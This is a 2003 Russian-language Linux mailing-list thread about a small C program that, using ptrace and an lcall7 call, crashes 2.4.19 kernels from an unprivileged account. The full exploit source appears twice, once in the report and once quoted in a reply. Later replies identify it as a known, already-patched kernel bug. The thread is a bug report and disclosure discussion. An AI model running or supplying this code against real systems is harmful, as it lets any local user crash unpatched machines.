[Comm] kernel panic из-за ма-а-а-аленькой программки

[Comm] kernel panic из-за ма-а-а-аленькой программки

[Пушкин Сергей Алексеевич]

[-- Attachment #1: Type: text/plain, Size: 1514 bytes --]


Приветсвую, всезнающий All

Вниманию ядерщиков (или ядрёнщиков :)) )

Есть такая программка:

//-------------------------------------------------------------
#include <sys/ptrace.h>

struct user_regs_struct
{
   long ebx, ecx, edx, esi, edi, ebp, eax;
   unsigned short ds, __ds, es, __es;
   unsigned short fs, __fs, gs, __gs;
   long orig_eax, eip;
   unsigned short cs, __cs;
   long eflags, esp;
   unsigned short ss, __ss;
};
int
main (void)
{
   int pid;
   char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
   void (*lcall7) (void) = (void *) dos;
   struct user_regs_struct d;
if (!(pid = fork ()))
{
   usleep (1000);
   (*lcall7) ();
}
     else
     {
       ptrace (PTRACE_ATTACH, pid, 0, 0);
   while (1)
       {
           wait (0);
           ptrace (PTRACE_GETREGS, pid, 0, &d);
       d.eflags |= 0x4100;    /* set TF and NT */
       ptrace (PTRACE_SETREGS, pid, 0, &d);
       ptrace (PTRACE_SYSCALL, pid, 0, 0);
       }
     }
return 1;
}
//--------------------------------------------------------------

Компилируется и запускается.
В результате стабильный kernel panic даже от простого юзера
(честно говоря под рутом и не пробовал)

Сизиф от 25 декабря минувшего года
rpm -qa | grep kernel
kernel24-up-2.4.19-alt0.8
NVIDIA_kernel-up-2.4.19_1.0.3123-alt0.8

К чему бы это?

-- 
С уважением, Пушкин Сергей aka Stalker

UIN: 35113025
JID: stalker@jabber.ru

XMMS шуршит: MEGAHERZ - BEISS MICH

Скажите, здесь крыша не проезжала?

[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]

[Comm] Re: [Comm] kernel panic из-за ма-а-а-аленькой программки

[ASA]

Hello Пушкин,

Friday, January 10, 2003, 7:19:12 AM, you wrote:

ПСА> Приветсвую, всезнающий All

ПСА> Вниманию ядерщиков (или ядрёнщиков :)) )

ПСА> Есть такая программка:

ПСА> //-------------------------------------------------------------
ПСА> #include <sys/ptrace.h>

ПСА> struct user_regs_struct
ПСА> {
ПСА>    long ebx, ecx, edx, esi, edi, ebp, eax;
ПСА>    unsigned short ds, __ds, es, __es;
ПСА>    unsigned short fs, __fs, gs, __gs;
ПСА>    long orig_eax, eip;
ПСА>    unsigned short cs, __cs;
ПСА>    long eflags, esp;
ПСА>    unsigned short ss, __ss;
ПСА> };
ПСА> int
ПСА> main (void)
ПСА> {
ПСА>    int pid;
ПСА>    char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
ПСА>    void (*lcall7) (void) = (void *) dos;
ПСА>    struct user_regs_struct d;
ПСА> if (!(pid = fork ()))
ПСА> {
ПСА>    usleep (1000);
ПСА>    (*lcall7) ();
ПСА> }
ПСА>      else
ПСА>      {
ПСА>        ptrace (PTRACE_ATTACH, pid, 0, 0);
ПСА>    while (1)
ПСА>        {
ПСА>            wait (0);
ПСА>            ptrace (PTRACE_GETREGS, pid, 0, &d);
ПСА>        d.eflags |= 0x4100;    /* set TF and NT */
ПСА>        ptrace (PTRACE_SETREGS, pid, 0, &d);
ПСА>        ptrace (PTRACE_SYSCALL, pid, 0, 0);
ПСА>        }
ПСА>      }
ПСА> return 1;
ПСА> }
ПСА> //--------------------------------------------------------------

ПСА> Компилируется и запускается.
ПСА> В результате стабильный kernel panic даже от простого юзера
ПСА> (честно говоря под рутом и не пробовал)

ПСА> Сизиф от 25 декабря минувшего года
ПСА> rpm -qa | grep kernel
ПСА> kernel24-up-2.4.19-alt0.8
ПСА> NVIDIA_kernel-up-2.4.19_1.0.3123-alt0.8

ПСА> К чему бы это?
К тому, что это уязвимость ядра была найдена совсем недавно и
быстро была починена. Надеюсь, что Константин уже знает о ней.

-- 
Best regards,
 ASA                            mailto:llb@udm.ru

Re: [Comm] Re: [Comm] kernel panic из-за ма-а-а-аленькой программки

[Евгений В. Хорохорин]

On Fri, 10 Jan 2003 08:14:20 +0400
ASA <llb@udm.ru> wrote:

> ПСА> Компилируется и запускается.
> ПСА> В результате стабильный kernel panic даже от простого юзера
> ПСА> (честно говоря под рутом и не пробовал)

[...skip...]
 
> ПСА> К чему бы это?
> К тому, что это уязвимость ядра была найдена совсем недавно и
> быстро была починена. Надеюсь, что Константин уже знает о ней.
Константин отреагировал на эту запись очень давно (более месяца назад
я спрашивал у него тоже самое :)

-- 
Best regards, Genix.			mailto: genix@sendmail.ru
Registered Linux User #219993		http://saratov.lug.ru 			

	-= С моих слов записано верно, мною прочитано =-

Re: [Comm] kernel panic из-за ма-а-а-аленькой программки

[Konstantin Volckov]

On Fri, 10 Jan 2003 09:19:12 +0600
Пушкин Сергей Алексеевич <pushkin@asdg.ru> wrote:

> Приветсвую, всезнающий All

Hi!

> Вниманию ядерщиков (или ядрёнщиков :)) )
> 
> Есть такая программка:

[skip]

> Компилируется и запускается.
> В результате стабильный kernel panic даже от простого юзера
> (честно говоря под рутом и не пробовал)
> 
> Сизиф от 25 декабря минувшего года
> rpm -qa | grep kernel
> kernel24-up-2.4.19-alt0.8
> NVIDIA_kernel-up-2.4.19_1.0.3123-alt0.8
> 
> К чему бы это?

К тому, что не стоит пользоваться ядрами с неисправленной ошибкой
безопасности "lcall7". Исправленные ядра можно взять в обновлениях для
дистрибутивов или в Sisyphus.

> -- 
> С уважением, Пушкин Сергей aka Stalker
> 
> UIN: 35113025
> JID: stalker@jabber.ru
> 
> XMMS шуршит: MEGAHERZ - BEISS MICH
> 
> Скажите, здесь крыша не проезжала?


-- 
Успехов,
Konstantin